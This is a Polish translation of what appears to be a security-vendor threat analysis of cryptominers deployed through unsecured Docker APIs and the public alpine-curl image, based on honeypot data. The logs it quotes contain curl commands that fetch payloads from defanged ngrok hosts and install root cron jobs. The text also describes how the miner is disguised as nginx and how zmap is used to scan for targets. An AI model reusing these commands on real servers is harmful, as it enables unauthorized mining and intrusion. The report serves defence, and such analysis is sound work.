W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut

Dane zebrane za pomocą kontenerów typu Honeypot, które stworzyliśmy w celu śledzenia zagrożeń, przeanalizowaliśmy. Wykryliśmy także znaczną aktywność niechcianych lub nieautoryzowanych kopaczy kryptowalut rozmieszczonych jako fałszywe kontenery przy użyciu obrazu opublikowanego przez społeczność w Docker Hub. Obraz jest wykorzystywany w ramach usługi dostarczającej szkodliwe koparki kryptowalut.

Dodatkowo instalowane są programy do pracy z sieciami, które penetrują otwarte sąsiednie kontenery i aplikacje.

Nasze Honeypoty pozostawiamy bez zmian, czyli z ustawieniami domyślnymi, bez żadnych zabezpieczeń i późniejszej instalacji dodatkowego oprogramowania. Należy pamiętać, że Docker ma zalecenia dotyczące wstępnej konfiguracji, aby uniknąć błędów i prostych luk w zabezpieczeniach. Jednak używane Honeypoty to kontenery zaprojektowane do wykrywania ataków skierowanych na platformę konteneryzacji, a nie aplikacje wewnątrz kontenerów.

Wykryta złośliwa aktywność jest godna uwagi również dlatego, że nie wymaga podatności i jest również niezależna od wersji Dockera. Znalezienie niepoprawnie skonfigurowanego, a zatem otwartego obrazu kontenera, to wszystko, czego atakujący potrzebują, aby zainfekować wiele otwartych serwerów.

Niezamknięty interfejs API Dockera umożliwia użytkownikowi wykonywanie szerokiego zakresu zespoły, w tym uzyskanie listy uruchomionych kontenerów, uzyskanie dzienników z określonego kontenera, uruchomienie, zatrzymanie (w tym wymuszone), a nawet utworzenie nowego kontenera z określonego obrazu z określonymi ustawieniami.

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut
Po lewej stronie znajduje się metoda dostarczania złośliwego oprogramowania. Po prawej stronie znajduje się środowisko atakującego, które umożliwia zdalne udostępnianie obrazów.

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut
Dystrybucja według krajów 3762 otwartych interfejsów API platformy Docker. Na podstawie wyszukiwania Shodan z dnia 12.02.2019

Opcje łańcucha ataku i ładunku

Szkodliwą aktywność wykrywano nie tylko za pomocą Honeypotów. Dane z Shodan pokazują, że liczba odsłoniętych interfejsów API platformy Docker (patrz drugi wykres) wzrosła od czasu zbadania źle skonfigurowanego kontenera używanego jako pomost do wdrażania oprogramowania do wydobywania kryptowaluty Monero. W październiku ubiegłego roku (2018, dane aktualne możesz tak wyglądać około. tłumacz) było tylko 856 otwartych interfejsów API.

Badanie dzienników Honeypot wykazało, że użycie obrazu kontenera było również powiązane z użyciem nrok, narzędzie do nawiązywania bezpiecznych połączeń lub przekazywania ruchu z publicznie dostępnych punktów na określone adresy lub zasoby (np. localhost). Umożliwia to atakującym dynamiczne tworzenie adresów URL podczas dostarczania ładunku na otwarty serwer. Poniżej znajdują się przykłady kodu z logów pokazujące nadużycia usługi ngrok:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Jak widać, przesłane pliki są pobierane ze stale zmieniających się adresów URL. Te adresy URL mają krótką datę ważności, więc po dacie wygaśnięcia nie można pobrać ładunków.

Istnieją dwie opcje obciążenia. Pierwszy to skompilowany górnik ELF dla systemu Linux (zdefiniowany jako Coinminer.SH.MALXMR.ATNO), który łączy się z pulą wydobywczą. Drugi to skrypt (TrojanSpy.SH.ZNETMAP.A) zaprojektowany w celu uzyskania określonych narzędzi sieciowych używanych do skanowania zakresów sieci, a następnie wyszukiwania nowych celów.

Skrypt droppera ustawia dwie zmienne, które są następnie wykorzystywane do wdrożenia koparki kryptowalut. Zmienna HOST zawiera adres URL, pod którym znajdują się złośliwe pliki, a zmienna RIP to nazwa pliku (w rzeczywistości skrót) koparki, która ma zostać wdrożona. Zmienna HOST zmienia się za każdym razem, gdy zmienia się zmienna skrótu. Skrypt próbuje również sprawdzić, czy na zaatakowanym serwerze nie działają żadne inne koparki kryptowalut.

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut
Przykłady zmiennych HOST i RIP, a także fragment kodu używany do sprawdzania, czy nie działają żadne inne górniki

Przed uruchomieniem koparki zmienia się jej nazwę na nginx. Inne wersje tego skryptu zmieniają nazwę górnika na inne legalne usługi, które mogą być obecne w środowiskach Linux. Zwykle wystarcza to do ominięcia sprawdzania listy uruchomionych procesów.

Skrypt wyszukiwania ma również funkcje. Współpracuje z tą samą usługą URL, aby wdrożyć niezbędne narzędzia. Wśród nich znajduje się plik binarny zmap, który służy do skanowania sieci i uzyskiwania listy otwartych portów. Skrypt ładuje także inny plik binarny, który służy do interakcji ze znalezionymi usługami i odbiera od nich banery umożliwiające określenie dodatkowych informacji o znalezionej usłudze (np. jej wersji).

Skrypt wstępnie określa również niektóre zakresy sieci do przeskanowania, ale zależy to od wersji skryptu. Ustawia także porty docelowe usług — w tym przypadku Dockera — przed uruchomieniem skanowania.

Gdy tylko możliwe cele zostaną znalezione, banery są z nich automatycznie usuwane. Skrypt filtruje także cele w zależności od interesujących nas usług, aplikacji, komponentów czy platform: Redis, Jenkins, Drupal, MODX, Mistrz Kubernetes, klient Docker 1.16 i Apache CouchDB. Jeśli przeskanowany serwer pasuje do któregokolwiek z nich, jest on zapisywany w pliku tekstowym, który atakujący mogą później wykorzystać do późniejszej analizy i hakowania. Te pliki tekstowe są przesyłane na serwery osób atakujących za pośrednictwem łączy dynamicznych. Oznacza to, że dla każdego pliku używany jest osobny adres URL, co oznacza, że ​​​​późniejszy dostęp jest utrudniony.

Wektorem ataku jest obraz Dockera, jak widać w dwóch kolejnych fragmentach kodu.

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut
Na górze znajduje się zmiana nazwy na legalną usługę, a na dole sposób, w jaki zmap jest używany do skanowania sieci

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut
Na górze znajdują się predefiniowane zakresy sieci, na dole konkretne porty służące do wyszukiwania usług, m.in. Dockera

W jaki sposób niezastrzeżone API Dockera i publiczne obrazy społeczności są wykorzystywane do dystrybucji koparek kryptowalut
Zrzut ekranu pokazuje, że obraz alpine-curl został pobrany ponad 10 milionów razy

W oparciu o Alpine Linux i curl, zasobooszczędne narzędzie CLI do przesyłania plików za pośrednictwem różnych protokołów, możesz zbudować Obraz Dockera. Jak widać na poprzednim obrazku, obraz ten został już pobrany ponad 10 milionów razy. Duża liczba pobrań może oznaczać użycie tego obrazu jako punktu wejścia; ten obraz został zaktualizowany ponad sześć miesięcy temu; użytkownicy nie pobierali tak często innych obrazów z tego repozytorium. W Dockerze punkt wejścia - zestaw instrukcji służących do skonfigurowania kontenera do jego uruchomienia. Jeśli ustawienia punktu wejścia są nieprawidłowe (na przykład kontener z Internetu jest otwarty), obraz może zostać wykorzystany jako wektor ataku. Atakujący mogą go użyć do dostarczenia ładunku, jeśli znajdą źle skonfigurowany lub otwarty kontener, który nie jest obsługiwany.

Należy zauważyć, że sam obraz (alpine-curl) nie jest złośliwy, ale jak widać powyżej, może zostać wykorzystany do wykonywania szkodliwych funkcji. Podobne obrazy Dockera można również wykorzystać do wykonywania złośliwych działań. Skontaktowaliśmy się z Dockerem i współpracowaliśmy z nim nad tym problemem.

zalecenia

Nieprawidłowe ustawienie szczątki ciągły problem dla wielu firm, szczególnie tych wdrażających DevOps, nastawiony na szybki rozwój i dostawę. Wszystko pogarsza konieczność przestrzegania zasad audytu i monitorowania, konieczność monitorowania poufności danych, a także ogromne szkody wynikające z ich nieprzestrzegania. Włączenie automatyzacji zabezpieczeń do cyklu rozwojowego nie tylko pomaga znaleźć luki w zabezpieczeniach, które w przeciwnym razie mogłyby pozostać niewykryte, ale także pomaga zmniejszyć niepotrzebne obciążenie, takie jak uruchamianie dodatkowych kompilacji oprogramowania dla każdej wykrytej luki lub błędnej konfiguracji po wdrożeniu aplikacji.

Opisane w artykule zdarzenie uwypukliło potrzebę uwzględnienia od początku kwestii bezpieczeństwa, uwzględniając następujące zalecenia:

  • Dla administratorów systemu i programistów: Zawsze sprawdzaj ustawienia API, aby upewnić się, że wszystko jest skonfigurowane tak, aby akceptować tylko żądania z określonego serwera lub sieci wewnętrznej.
  • Kieruj się zasadą najmniejszych praw: upewnij się, że obrazy kontenerów są podpisane i zweryfikowane, ogranicz dostęp do krytycznych komponentów (usługa uruchamiania kontenerów) i dodaj szyfrowanie do połączeń sieciowych.
  • Podążać rekomendacje i włączyć mechanizmy bezpieczeństwa, m.in. z Dockera i wbudowany funkcje bezpieczeństwa.
  • Skorzystaj z automatycznego skanowania środowisk wykonawczych i obrazów, aby uzyskać dodatkowe informacje o procesach uruchomionych w kontenerze (na przykład w celu wykrycia podszywania się lub wyszukiwania podatności). Kontrola aplikacji i monitorowanie integralności pomagają śledzić nieprawidłowe zmiany na serwerach, plikach i obszarach systemu.

Trendmicro pomaga zespołom DevOps bezpiecznie budować, szybko wdrażać i uruchamiać w dowolnym miejscu. Trend Mikro Bezpieczeństwo chmury hybrydowej Zapewnia potężne, usprawnione i zautomatyzowane zabezpieczenia w całym procesie DevOps organizacji oraz zapewnia wiele zabezpieczeń przed zagrożeniami XGen w celu ochrony obciążeń fizycznych, wirtualnych i chmurowych w czasie wykonywania. Dodaje także bezpieczeństwo kontenera za pomocą Głębokie bezpieczeństwo и Inteligentna kontrola głębokiego bezpieczeństwa, które skanują obrazy kontenerów Docker pod kątem złośliwego oprogramowania i luk w zabezpieczeniach na dowolnym etapie rozwoju, aby zapobiegać zagrożeniom przed ich wdrożeniem.

Oznaki kompromisu

Powiązane skróty:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

Na Kurs wideo Dockera Praktykujący mówcy pokazują, jakich ustawień należy dokonać w pierwszej kolejności, aby zminimalizować prawdopodobieństwo lub całkowicie uniknąć wystąpienia opisanej powyżej sytuacji. A w dniach 19-21 sierpnia na intensywnym szkoleniu online Narzędzia i kody DevOps Możesz omówić te i podobne problemy bezpieczeństwa ze współpracownikami i praktykującymi nauczycielami przy okrągłym stole, przy którym każdy może zabrać głos i wysłuchać problemów i sukcesów doświadczonych kolegów.

Źródło: www.habr.com

Dodaj komentarz